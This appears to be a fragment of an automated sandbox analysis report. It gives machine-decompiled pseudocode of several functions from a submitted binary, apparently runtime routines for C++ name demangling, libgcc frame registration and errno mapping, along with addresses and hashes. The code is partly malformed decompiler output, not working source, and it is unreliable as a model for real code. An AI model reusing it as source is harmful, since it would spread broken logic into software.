				signed int _t223;
				signed int _t224;
				signed int _t226;
				signed int _t227;
				signed int _t229;
				signed int _t233;
				signed int _t235;
				void* _t240;
				signed int _t247;
				signed int _t248;
				signed char* _t249;
				signed int _t250;
				signed char* _t252;
				signed int _t256;
				void* _t257;
				signed char** _t260;
				void* _t261;
				signed int* _t262;
				void* _t264;
				signed int* _t266;

				_t190 = __ebx;
				__edi = 0;
				__eflags =  *((char*)(__ebx + 0xa)) - 0x5f;
				if( *((char*)(__ebx + 0xa)) == 0x5f) {
					__eflags = __al - 0x49;
					__eax = __eax & 0xffffff00 | __al != 0x00000049;
					__eax = __al & 0x000000ff;
					__edi = __eax;
					__edi = __eax + 2;
				}
				 *_t260 = _t190;
				_t139 = strlen(??);
				 *(_t257 - 0x19c) = _t190;
				_t250 = _t139;
				 *(_t257 - 0x194) = 0x11;
				 *(_t257 - 0x198) =  &(_t190[_t139]);
				_t141 = _t250 + _t250;
				 *((intOrPtr*)(_t257 - 0x1b8)) = _t141;
				 *((intOrPtr*)(_t257 - 0x184)) = _t141;
				 *(_t257 - 0x190) = _t190;
				 *(_t257 - 0x188) = 0;
				 *(_t257 - 0x178) = _t250;
				 *(_t257 - 0x17c) = 0;
				 *(_t257 - 0x174) = 0;
				 *(_t257 - 0x170) = 0;
				 *(_t257 - 0x16c) = 0;
				 *(_t257 - 0x168) = 0;
				_t261 = _t260 - L004386A0(_t250 << 5);
				_t146 = _t261 + 0xf >> 2;
				_t214 = _t146;
				_t206 = _t146 * 4;
				_t262 = _t261 - L004386A0(0xf + _t250 * 4 >> 4 << 4);
				 *(_t257 - 0x18c) = _t206;
				 *(_t257 - 0x180) =  &(_t262[3]);
				if(_t240 == 1) {
					__eflags =  *(_t257 - 0x1b4) - 0x5f;
					if( *(_t257 - 0x1b4) != 0x5f) {
						goto L9;
					} else {
						__eflags = _t190[1] - 0x5a;
						if(_t190[1] != 0x5a) {
							goto L9;
						} else {
							 *(_t257 - 0x190) =  &(_t190[2]);
							_t242 = L004307A0(_t257 - 0x19c, _t206, 1);
							__eflags =  *(_t257 - 0x194) & 0x00000001;
							if(( *(_t257 - 0x194) & 0x00000001) != 0) {
								_t252 =  *(_t257 - 0x190);
								_t155 =  *_t252 & 0x000000ff;
								__eflags = _t155 - 0x2e;
								if(_t155 == 0x2e) {
									_t210 = _t252;
									_t177 = _t242;
									do {
										_t223 = _t210[1] & 0x000000ff;
										_t112 = _t223 - 0x61; // -7
										__eflags = _t112 - 0x19;
										if(_t112 <= 0x19) {
											L42:
											_t224 = _t210[2] & 0x000000ff;
											_t197 =  &(_t210[2]);
											 *(_t257 - 0x1b4) = _t224;
											__eflags = _t224 - 0x61 - 0x19;
											if(_t224 - 0x61 <= 0x19) {
												L44:
												 *(_t257 - 0x1b4) = _t177;
												goto L45;
												do {
													do {
														L45:
														_t197 =  &(_t197[1]);
														_t226 =  *_t197 & 0x000000ff;
														__eflags = _t226 - 0x61 - 0x19;
													} while (_t226 - 0x61 <= 0x19);
													__eflags = _t226 - 0x5f;
												} while (_t226 == 0x5f);
												_t177 =  *(_t257 - 0x1b4);
												goto L29;
											} else {
												__eflags =  *(_t257 - 0x1b4) - 0x5f;
												if( *(_t257 - 0x1b4) != 0x5f) {
													_t226 =  *(_t257 - 0x1b4) & 0x000000ff;
													goto L29;
												} else {
													goto L44;
												}
											}
											goto L39;
										} else {
											__eflags = _t223 - 0x5f;
											if(_t223 == 0x5f) {
												goto L42;
											} else {
												__eflags = _t223 - 0x30 - 9;
												if(_t223 - 0x30 > 9) {
													_t242 = _t177;
													_t155 =  *_t210 & 0x000000ff;
												} else {
													_t226 =  *_t210 & 0x000000ff;
													_t197 = _t210;
													L29:
													__eflags = _t226 - 0x2e;
													if(_t226 == 0x2e) {
														while(1) {
															_t248 = _t197[1] & 0x000000ff;
															__eflags = _t248 - 0x30 - 9;
															if(_t248 - 0x30 > 9) {
																goto L36;
															}
															_t233 = _t197[2] & 0x000000ff;
															_t249 =  &(_t197[2]);
															__eflags = _t233 - 0x30 - 9;
															while(_t233 - 0x30 <= 9) {
																_t249 =  &(_t249[1]);
																_t233 =  *_t249 & 0x000000ff;
																__eflags = _t233 - 0x30 - 9;
															}
															_t197 = _t249;
															__eflags = _t233 - 0x2e;
															if(_t233 == 0x2e) {
																continue;
															}
															goto L36;
														}
													}
													L36:
													 *(_t257 - 0x190) = _t197;
													_t198 =  *(_t257 - 0x188);
													_t247 = _t197 - _t210;
													__eflags = _t198 -  *((intOrPtr*)(_t257 - 0x184));
													if(_t198 >=  *((intOrPtr*)(_t257 - 0x184))) {
														L41:
														_t227 = 0;
													} else {
														_t227 = (_t198 << 4) +  *(_t257 - 0x18c);
														 *(_t227 + 4) = 0;
														 *(_t257 - 0x188) = _t198 + 1;
														__eflags = _t247;
														if(_t247 == 0) {
															goto L41;
														} else {
															 *(_t227 + 4) = 0;
															 *_t227 = 0;
															 *(_t227 + 8) = _t210;
															 *(_t227 + 0xc) = _t247;
														}
													}
													goto L39;
												}
											}
										}
										goto L11;
										L39:
										 *_t262 = _t227;
										_t177 = L0042DC50(_t177, 0x4d);
										_t210 =  *(_t257 - 0x190);
										_t229 =  *_t210 & 0x000000ff;
										__eflags = _t229 - 0x2e;
									} while (_t229 == 0x2e);
									_t242 = _t177;
									_t155 = _t229;
								}
							} else {
								_t155 =  *( *(_t257 - 0x190)) & 0x000000ff;
							}
							goto L11;
						}
					}
				} else {
					if(_t240 == 0 || _t240 > 3) {
						_t242 = E0042F510(_t257 - 0x19c, _t190, _t206, _t240, _t250, __eflags);
						_t155 =  *( *(_t257 - 0x190)) & 0x000000ff;
						L11:
						__eflags = _t242;
						if(_t242 == 0) {
							goto L9;
						} else {
							goto L12;
						}
					} else {
						_t256 =  &(_t190[0xb]);
						 *(_t257 - 0x190) = _t256;
						if(_t190[0xb] == 0x5f) {
							__eflags = _t190[0xc] - 0x5a;
							if(_t190[0xc] != 0x5a) {
								goto L5;
							} else {
								 *(_t257 - 0x190) =  &(_t190[0xd]);
								_t213 = L004307A0(_t257 - 0x19c, _t206, 0);
							}
						} else {
							L5:
							 *(_t257 - 0x1bc) = _t214;
							 *(_t257 - 0x1b4) = _t206;
							 *_t262 = _t256;
							_t184 = strlen(??);
							_t235 =  *(_t257 - 0x1bc);
							_t213 =  *(_t257 - 0x1b4);
							if( *((intOrPtr*)(_t257 - 0x1b8)) <= 0) {
								L22:
								_t213 = 0;
							} else {
								 *(4 + _t235 * 4) = 0;
								 *(_t257 - 0x188) = 1;
								if(_t184 == 0) {
									goto L22;
								} else {
									 *(8 + _t235 * 4) = _t256;
									 *(_t235 * 4) = 0;
									 *(0xc + _t235 * 4) = _t184;
								}
							}
						}
						 *_t262 = 0;
						_t186 = L0042DC50(_t213, (0 | _t240 != 0x00000002) + 0x43);
						_t203 =  *(_t257 - 0x190);
						_t242 = _t186;
						 *_t262 = _t203;
						_t204 = _t203 + strlen(??);
						 *(_t257 - 0x190) = _t204;
						_t155 =  *_t204 & 0x000000ff;
						if(_t186 != 0) {
							L12:
							__eflags = _t155;
							if(_t155 != 0) {
								goto L9;
							} else {
								 *((char*)(_t257 - 0x60)) = 0;
								 *(_t257 - 0x64) = 0;
								_t194 = _t257 - 0x164;
								 *(_t257 - 0x5c) =  *(_t257 - 0x1ac);
								 *(_t257 - 0x54) = 0;
								 *(_t257 - 0x58) =  *(_t257 - 0x1b0);
								 *(_t257 - 0x50) = 0;
								 *(_t257 - 0x40) = 0;
								 *(_t257 - 0x3c) = 0;
								 *(_t257 - 0x4c) = 0;
								 *(_t257 - 0x48) = 0;
								 *(_t257 - 0x44) = 0;
								 *(_t257 - 0x38) = 0;
								 *(_t257 - 0x34) = 0;
								 *(_t257 - 0x30) = 0;
								 *(_t257 - 0x2c) = 0;
								 *(_t257 - 0x28) = 0;
								 *(_t257 - 0x24) = 0;
								 *(_t257 - 0x20) = 0;
								L0042DD10(_t257 - 0x20, _t242, _t257 - 0x2c);
								_t160 =  *(_t257 - 0x2c);
								 *(_t257 - 0x1c) = 0;
								_t218 =  *(_t257 - 0x20) * _t160;
								__eflags = _t160;
								 *(_t257 - 0x1ac) = _t262;
								_t161 =  <=  ? 1 : _t160;
								 *(_t257 - 0x20) = _t218;
								_t264 = _t262 - L004386A0(0xf + ( <=  ? 1 : _t160) * 8 >> 4 << 4);
								__eflags = _t218;
								_t219 =  <=  ? 1 : _t218;
								_t169 = L004386A0(0xf + ( <=  ? 1 : _t218) * 8 >> 4 << 4);
								 *(_t257 - 0x34) = _t264 + 0xc;
								 *(_t257 - 0x28) = _t264 - _t169 + 0xc;
								L00430EB0(_t194, _t242, 0x11);
								_t173 =  *(_t257 - 0x64);
								_t266 =  *(_t257 - 0x1ac);
								 *((char*)(_t257 + _t173 - 0x164)) = 0;
								_t266[2] =  *(_t257 - 0x58);
								_t266[1] = _t173;
								 *_t266 = _t194;
								 *(_t257 - 0x5c)();
								__eflags =  *(_t257 - 0x4c);
								_t93 =  *(_t257 - 0x4c) == 0;
								__eflags = _t93;
								return 0 | _t93;
							}
						} else {
							L9:
							return 0;
						}
					}
				}
			}

0x00437409
0x00437410
0x00437412
0x00437416
0x0043741c
0x0043741e
0x00437421
0x00437424
0x00437426
0x00437426
0x00437090
0x00437093
0x00437098
0x0043709e
0x004370a3
0x004370ad
0x004370b3
0x004370b6
0x004370bc
0x004370c7
0x004370cd
0x004370d7
0x004370dd
0x004370e7
0x004370f1
0x004370fb
0x00437105
0x00437114
0x0043711a
0x0043711d
0x0043711f
0x00437138
0x0043713a
0x00437144
0x0043714d
0x00437373
0x0043737a
0x00000000
0x00437380
0x00437380
0x00437384
0x00000000
0x0043738a
0x00437392
0x004373a5
0x004373a7
0x004373ae
0x00437440
0x00437446
0x00437449
0x0043744b
0x00437451
0x00437453
0x00437460
0x00437460
0x00437464
0x00437467
0x0043746a
0x00437544
0x00437544
0x00437548
0x0043754e
0x00437556
0x00437559
0x00437564
0x00437564
0x00437564
0x00437570
0x00437570
0x00437570
0x00437570
0x00437573
0x0043757b
0x0043757b
0x0043757f
0x0043757f
0x00437584
0x00000000
0x0043755b
0x0043755b
0x00437562
0x00437599
0x00000000
0x00000000
0x00000000
0x00000000
0x00437562
0x00000000
0x00437470
0x00437470
0x00437473
0x00000000
0x00437479
0x0043747c
0x0043747f
0x0043758f
0x00437591
0x00437485
0x00437485
0x00437488
0x0043748a
0x0043748a
0x0043748d
0x00437490
0x00437490
0x00437497
0x0043749a
0x00000000
0x00000000
0x0043749c
0x004374a0
0x004374a6
0x004374a9
0x004374b0
0x004374b3
0x004374b9
0x004374b9
0x004374be
0x004374c0
0x004374c3
0x00000000
0x00000000
0x00000000
0x004374c3
0x00437490
0x004374c5
0x004374c7
0x004374cd
0x004374d3
0x004374d5
0x004374db
0x00437540
0x00437540
0x004374dd
0x004374e5
0x004374eb
0x004374f2
0x004374f8
0x004374fa
0x00000000
0x004374fc
0x004374fc
0x00437503
0x00437509
0x0043750c
0x0043750c
0x004374fa
0x00000000
0x004374db
0x0043747f
0x00437473
0x00000000
0x0043750f
0x0043750f
0x0043751b
0x00437520
0x00437526
0x00437529
0x00437529
0x00437532
0x00437534
0x00437534
0x004373b4
0x004373ba
0x004373ba
0x00000000
0x004373ae
0x00437384
0x00437153
0x00437155
0x0043722e
0x00437236
0x00437239
0x00437239
0x0043723b
0x00000000
0x00000000
0x00000000
0x00000000
0x00437164
0x00437164
0x0043716b
0x00437171
0x004373e0
0x004373e4
0x00000000
0x004373ea
0x004373ef
0x00437402
0x00437402
0x00437177
0x00437177
0x00437177
0x0043717d
0x00437183
0x00437186
0x00437191
0x00437199
0x0043719f
0x00437430
0x00437430
0x004371a5
0x004371a5
0x004371b0
0x004371bc
0x00000000
0x004371c2
0x004371c2
0x004371cf
0x004371da
0x004371da
0x004371bc
0x0043719f
0x004371e3
0x004371f5
0x004371fa
0x00437200
0x00437202
0x0043720a
0x0043720c
0x00437212
0x00437217
0x0043723d
0x0043723d
0x0043723f
0x00000000
0x00437241
0x0043724c
0x00437250
0x00437257
0x0043725d
0x00437266
0x0043726d
0x00437273
0x0043727a
0x00437281
0x00437288
0x0043728f
0x00437296
0x0043729d
0x004372a4
0x004372ab
0x004372b2
0x004372b9
0x004372c0
0x004372c7
0x004372ce
0x004372d3
0x004372de
0x004372e5
0x004372e8
0x004372ea
0x004372f0
0x004372fa
0x00437308
0x0043730a
0x0043730c
0x00437320
0x0043732e
0x00437335
0x0043733a
0x0043733f
0x00437342
0x0043734b
0x00437353
0x00437357
0x0043735b
0x0043735e
0x00437366
0x00437368
0x00437368
0x00437372
0x00437372
0x00437219
0x00437219
0x00437222
0x00437222
0x00437217
0x00437155

APIs

strlen.MSVCRT ref: 00437093
strlen.MSVCRT ref: 00437186
strlen.MSVCRT ref: 00437205

Strings

_, xrefs: 00437412
_, xrefs: 00437167

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: strlen
String ID: _$_
API String ID: 39653677-2459770204
Opcode ID: 9b26847b02e3e8f07a4965b295c99eac37194e645349916e22322b8f8a8a8d6a
Instruction ID: e0278547c804bf89c24bf0843193600e947c64016f9c7bcdf019874f554909bb
Opcode Fuzzy Hash: 9b26847b02e3e8f07a4965b295c99eac37194e645349916e22322b8f8a8a8d6a
Instruction Fuzzy Hash: 01415BB19082288FEB60DF25D8813DEBBF1BB49304F4545EED58C97241EB389A85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0043B150 Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E0043B150(void* __eax, CHAR* __ebx, void* __edx, void* __edi, void* __esi, char _a4) {
				void* _v0;
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v80;
				void* _v84;
				void _v156;
				char _v284;
				char _v288;
				void* _v312;
				char* _v356;
				intOrPtr* __ebp;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t40;
				_Unknown_base(*)()* _t41;
				struct HINSTANCE__* _t46;
				_Unknown_base(*)()* _t54;
				void* _t57;
				void* _t61;
				intOrPtr* _t62;
				char** _t64;
				char** _t65;
				struct HINSTANCE__** _t67;
				struct HINSTANCE__** _t68;

				_t52 = __esi;
				_t48 = __edi;
				_t43 = __ebx;
				_t57 = _t61;
				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_push(__edx);
				_push(__eax);
				_t62 = _t61 - 0x124;
				_t2 = _a4 + 0xc; // 0x90909090
				if( *_t2 == 0) {
					 *_t62 = _a4;
					return L0043AEB0(_a4, __ebx, __edx, __edi, __esi);
				} else {
					__ebx =  &_v284;
					__ecx = _v0;
					__edx =  &_a4;
					__eax = __ebx;
					__edi =  &_v156;
					__esi = __ebx;
					E0043A660(__ebx, _v0,  &_a4) = _a4;
					__ecx = 0x20;
					__edx =  &_v156;
					__eax = memcpy( &_v156, __esi, 0x20 << 2);
					__esi + __ecx = __esi + __ecx + __ecx;
					__ecx = 0;
					__ecx =  &_v288;
					if(__eax != 7) {
						abort();
						abort();
						abort();
						abort();
						abort();
						_push(_t57);
						_t64 = _t62 - 0x1c;
						 *_t64 = "libgcc_s_dw2-1.dll";
						_t37 = GetModuleHandleA(_t43);
						_t65 = _t64 - 4;
						if(_t37 == 0) {
							 *0x4ce004 = 0x43c7d0;
							_t54 = E0043C580;
						} else {
							_t46 = _t37;
							 *_t65 = "libgcc_s_dw2-1.dll";
							_t40 = LoadLibraryA(??);
							_t67 = _t65 - 4;
							 *0x556df0 = _t40;
							_v356 = "__register_frame_info";
							 *_t67 = _t46;
							_t41 = GetProcAddress(??, ??);
							_t68 = _t67 - 8;
							_t54 = _t41;
							_v356 = "__deregister_frame_info";
							 *_t68 = _t46;
							 *0x4ce004 = GetProcAddress(??, ??);
							_t65 = _t68 - 8;
						}
						if(_t54 != 0) {
							_v356 = 0x55601c;
							 *_t65 = 0x5190f8;
							 *_t54();
						}
						 *_t65 = 0x401590;
						return E004014C0();
					} else {
						__edx =  &_v156;
						__eax = __ebx;
						__eax = L0043AAC0(__ebx,  &_v156);
						__ebx = _v80;
						__edx = __eax;
						__eax = _v84;
						_v312 = __ebx;
						 *__esp = __eax;
						__eax = L0043AEA0(__eax);
						__ecx = __edx;
						 *(__ebp + __edx + 4) = __ebx;
						__eax = _v24;
						__ecx = __ebp + __edx + 4;
						__edx = _v20;
						__ebx = _v16;
						__esi = _v12;
						__edi = _v8;
						__ebp =  *__ebp;
						__esp = __ecx;
						return _v24;
					}
				}
			}

0x0043b150
0x0043b150
0x0043b150
0x0043b151
0x0043b153
0x0043b154
0x0043b155
0x0043b156
0x0043b157
0x0043b158
0x0043b161
0x0043b166
0x0043b1f3
0x0043b205
0x0043b16c
0x0043b16c
0x0043b172
0x0043b175
0x0043b178
0x0043b17a
0x0043b180
0x0043b187
0x0043b18a
0x0043b18f
0x0043b195
0x0043b195
0x0043b195
0x0043b197
0x0043b1a5
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e0
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x0043b1ab
0x0043b1ab
0x0043b1b1
0x0043b1b3
0x0043b1b8
0x0043b1bb
0x0043b1bd
0x0043b1c0
0x0043b1c4
0x0043b1c7
0x0043b1cc
0x0043b1ce
0x0043b1d2
0x0043b1d5
0x0043b1d9
0x0043b1dc
0x0043b1df
0x0043b1e2
0x0043b1e5
0x0043b1e8
0x0043b1ea
0x0043b1ea
0x0043b1a5

APIs

abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(0043AF3B), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ba1a1b08f6e100426309d20b2d21870daea563b49f9ac42d4944752a65ffcd9e
Instruction ID: 69db05fca74e517a74257b1e8a991673022586160402c8a47a2f411be6ca4363
Opcode Fuzzy Hash: ba1a1b08f6e100426309d20b2d21870daea563b49f9ac42d4944752a65ffcd9e
Instruction Fuzzy Hash: A7215E34A042189BCF10EF65C4819DEB7B5EF49328F05886DEC48A7302D734AE45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0043E605 Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043E605(intOrPtr* __eax, intOrPtr _a4) {
				intOrPtr* _t10;
				intOrPtr* _t11;
				signed int _t12;
				signed int _t13;
				intOrPtr _t15;

				_t13 = _t12 ^ _t12;
				_t15 = _a4;
				L00447750();
				 *__eax = _t15;
				_t10 = 1;
				L3:
				L3:
				if(_t15 != _t10) {
					goto L1;
				} else {
					L00447710();
					 *_t10 =  *((intOrPtr*)(0x512404 + _t13 * 8));
					return _t10;
				}
				L10:
				L1:
				_t13 = _t13 + 1;
				if( *((intOrPtr*)(0x512404 + _t13 * 8)) == 0xffffffff) {
					_t11 = _t15 - 0x13;
					if(_t11 <= 0x11) {
						L00447710();
						 *_t11 = 0xd;
						return _t11;
					} else {
						if(_t15 - 0xbc <= 0xe) {
							L00447710();
							 *_t11 = 8;
							return _t11;
						} else {
							L00447710();
							 *_t11 = 0x16;
							return _t11;
						}
					}
				} else {
					_t10 =  *((intOrPtr*)(0x512400 + _t13 * 8));
					goto L3;
				}
				goto L10;
			}

0x0043e612
0x0043e617
0x0043e61b
0x0043e620
0x0043e622
0x00000000
0x0043e644
0x0043e646
0x00000000
0x0043e648
0x0043e648
0x0043e654
0x0043e65b
0x0043e65b
0x00000000
0x0043e630
0x0043e630
0x0043e63b
0x0043e660
0x0043e666
0x0043e695
0x0043e69a
0x0043e6a5
0x0043e668
0x0043e671
0x0043e684
0x0043e689
0x0043e694
0x0043e673
0x0043e673
0x0043e678
0x0043e683
0x0043e683
0x0043e671
0x0043e63d
0x0043e63d
0x00000000
0x0043e63d
0x00000000

APIs

__doserrno.MSVCRT ref: 0043E61B
_errno.MSVCRT ref: 0043E648

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: f338a766aa020458294f3abacd440c8604a642478d09d555588b3cad92d1b26b
Instruction ID: 89e0f061c0b5c77e56f842def51f25a77f31260d04732faead9ecb740d516491
Opcode Fuzzy Hash: f338a766aa020458294f3abacd440c8604a642478d09d555588b3cad92d1b26b
Instruction Fuzzy Hash: 930152B68091114FFA506F15BC822DB7751E710324F460A67D4550B2A0E3796C9AC7D6

Uniqueness

Uniqueness Score: -1.00%

Function 00436490 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 253
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00436490(signed int __eax, signed int __ecx, signed char* __edx) {
				void* _t103;
				void* _t106;
				signed int _t109;
				void* _t111;
				signed int _t112;
				int _t116;
				signed int _t117;
				void* _t121;
				signed int _t125;
				signed int _t134;
				signed int _t135;
				signed int _t136;
				signed char* _t137;
				char* _t138;
				signed int* _t141;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t157;
				signed int _t158;
				signed int _t162;
				signed char _t166;
				signed char* _t167;
				signed char* _t168;
				signed int _t169;
				signed char* _t171;
				signed int _t172;
				signed char** _t173;

				_t100 = __eax;
				_t173[5] = __edx;
				_t169 = _t173[0x18];
				if(__ecx == 0) {
					L25:
					return _t100;
				} else {
					_t134 = __ecx;
					_t168 = __eax;
					if( *((intOrPtr*)(__eax + 0x118)) == 0) {
						goto L10;
					} else {
						return __eax;
					}
					do {
						goto L10;
						L9:
						__eflags = _t168[0x118];
					} while (_t168[0x118] == 0);
					goto L25;
					L10:
					_t100 =  *(_t134 + 8);
					__eflags = _t100;
					if(_t100 != 0) {
						L8:
						_t134 =  *_t134;
						__eflags = _t134;
						if(_t134 == 0) {
							goto L25;
						} else {
							goto L9;
						}
					} else {
						_t141 =  *(_t134 + 4);
						_t100 =  *_t141;
						__eflags = _t169;
						if(_t169 != 0) {
							L4:
							_t166 = _t168[0x110];
							 *(_t134 + 8) = 1;
							_t168[0x110] =  *(_t134 + 0xc);
							__eflags = _t100 - 0x29;
							if(_t100 == 0x29) {
								__eflags =  &(_t141[3]);
								 *_t173 =  *_t134;
								_t103 = L00436160(_t168,  &(_t141[3]), _t173[5]);
								_t168[0x110] = _t166;
								return _t103;
							} else {
								__eflags = _t100 - 0x2a;
								if(_t100 == 0x2a) {
									__eflags =  &(_t141[2]);
									 *_t173 =  *_t134;
									_t106 = L00436850(_t168,  &(_t141[2]), _t173[5]);
									_t168[0x110] = _t166;
									return _t106;
								} else {
									__eflags = _t100 - 2;
									if(_t100 == 2) {
										_t168[0x114] = 0;
										L00430EB0(_t168, _t141[2], _t173[5]);
										_t109 = _t168[0x100];
										__eflags = _t173[5] & 0x00000004;
										if((_t173[5] & 0x00000004) == 0) {
											_t173[6] = _t134;
											_t171 = 0x510296;
											_t135 = 0x3a;
											while(1) {
												__eflags = _t109 - 0xff;
												if(_t109 != 0xff) {
													_t145 = _t109;
													_t109 = _t109 + 1;
													__eflags = _t109;
												} else {
													_t168[0xff] = 0;
													_t173[1] = 0xff;
													_t173[2] = _t168[0x10c];
													 *_t173 = _t168;
													_t168[0x108]();
													_t168[0x128] = _t168[0x128] + 1;
													_t109 = 1;
													_t145 = 0;
												}
												_t171 =  &(_t171[1]);
												_t168[0x100] = _t109;
												_t168[_t145] = _t135;
												_t168[0x104] = _t135;
												__eflags = _t171 - 0x510298;
												if(_t171 == 0x510298) {
													break;
												}
												_t135 =  *_t171 & 0x000000ff;
											}
											_t134 = _t173[6];
											L20:
											_t172 = ( *(_t134 + 4))[3];
											_t111 =  *_t172;
											__eflags = _t111 - 0x46;
											if(_t111 == 0x46) {
												_t112 = _t168[0x100];
												_t136 =  &M0051029A;
												_t157 = 0x7b;
												while(1) {
													__eflags = _t112 - 0xff;
													if(_t112 != 0xff) {
														_t146 = _t112;
														_t112 = _t112 + 1;
														__eflags = _t112;
													} else {
														_t168[0xff] = 0;
														_t173[6] = _t157;
														_t173[2] = _t168[0x10c];
														_t173[1] = 0xff;
														 *_t173 = _t168;
														_t168[0x108]();
														_t168[0x128] = _t168[0x128] + 1;
														_t112 = 1;
														_t146 = 0;
														_t157 = _t173[6] & 0x000000ff;
													}
													_t168[0x100] = _t112;
													_t168[_t146] = _t157;
													_t168[0x104] = _t157;
													__eflags = _t136 - 0x5102a6;
													if(_t136 == 0x5102a6) {
														break;
													}
													_t157 =  *_t136 & 0x000000ff;
													_t136 = _t136 + 1;
													__eflags = _t136;
												}
												_t137 =  &(_t173[9]);
												_t173[1] = "%d";
												 *_t173 = _t137;
												_t173[2] =  *((intOrPtr*)(_t172 + 0xc)) + 1;
												sprintf(??, ??);
												 *_t173 = _t137;
												_t116 = strlen(??);
												_t158 = _t168[0x100];
												__eflags = _t116;
												if(_t116 == 0) {
													L50:
													_t138 = "}::";
													_t117 = 0x7d;
													while(1) {
														__eflags = _t158 - 0xff;
														if(_t158 != 0xff) {
															_t147 = _t158;
															_t158 = _t158 + 1;
															__eflags = _t158;
														} else {
															_t168[0xff] = 0;
															_t173[6] = _t117;
															_t173[2] = _t168[0x10c];
															_t173[1] = 0xff;
															 *_t173 = _t168;
															_t168[0x108]();
															_t168[0x128] = _t168[0x128] + 1;
															_t158 = 1;
															_t147 = 0;
															_t117 = _t173[6] & 0x000000ff;
														}
														_t168[0x100] = _t158;
														_t138 =  &(_t138[1]);
														_t168[_t147] = _t117;
														_t168[0x104] = _t117;
														__eflags = 0x5102ad - _t138;
														if(0x5102ad == _t138) {
															break;
														}
														_t117 =  *_t138 & 0x000000ff;
													}
													L29:
													_t172 =  *(_t172 + 8);
													_t111 =  *_t172;
													goto L21;
												}
												_t173[7] = _t166;
												_t167 =  &(_t137[_t116]);
												do {
													_t125 =  *_t137 & 0x000000ff;
													__eflags = _t158 - 0xff;
													if(_t158 != 0xff) {
